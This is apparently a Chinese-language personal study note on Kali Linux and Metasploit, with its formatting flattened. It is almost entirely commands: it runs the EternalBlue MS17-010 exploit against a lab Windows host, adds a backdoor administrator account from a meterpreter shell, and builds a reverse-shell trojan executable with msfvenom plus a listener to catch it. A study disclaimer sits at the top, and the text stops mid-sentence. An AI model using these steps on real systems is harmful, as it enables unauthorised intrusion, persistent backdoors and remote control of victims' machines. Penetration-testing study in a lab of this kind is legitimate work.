kali-学习1、安装与部署kali2、metasploit工具2.1、metasploit攻击windows操作系统示例永恒之蓝445漏洞攻击成功后的操作例如创建后门用户并开启远程连接2.2、生成远控木马资料仅用于个人学习恶意攻击互联网网站及操作系统属于违法行为1、安装与部署kali2、metasploit工具msfconsole2.1、metasploit攻击windows操作系统msf使用法则 使用模块--配置模块必选项--运行模块示例永恒之蓝445漏洞攻击2.1.1、查找模块msf6 search ms17_0102.1.2、使用模块msf6 use exploit/windows/smb/ms17_010_eternalblue2.1.3、设置必选项Requiredyes为必填sf6 exploit(windows/smb/ms17_010_eternalblue) show options2.1.4、设置模块msf6 exploit(windows/smb/ms17_010_eternalblue) set RHOSTS 192.168.63.139 RHOSTS 192.168.63.139 msf6 exploit(windows/smb/ms17_010_eternalblue) set LPORT 9999 LPORT 99992.1.5、运行run2.1.6、攻击成功成功后的操作help可以查看可以执行的操作例如创建后门用户并开启远程连接meterpreter shell C:\Windows\system32net user zhangsan 123456 /add net localgroup administrator zhangsan /add2.2、生成远控木马2.2.1 windows可执行程序后门不能绕过杀毒软件msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.63.129 lport9999 -f exe -o demo9999.exe2.2.2、执行木马监控msfconsole msf6 use exploit/multi/handler msf6 exploit(multi/handler) set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) set LHOST 192.168.63.129 msf6 exploit(multi/handler) set LPORT 9999 run当某台主机点击前期生成的木马程序时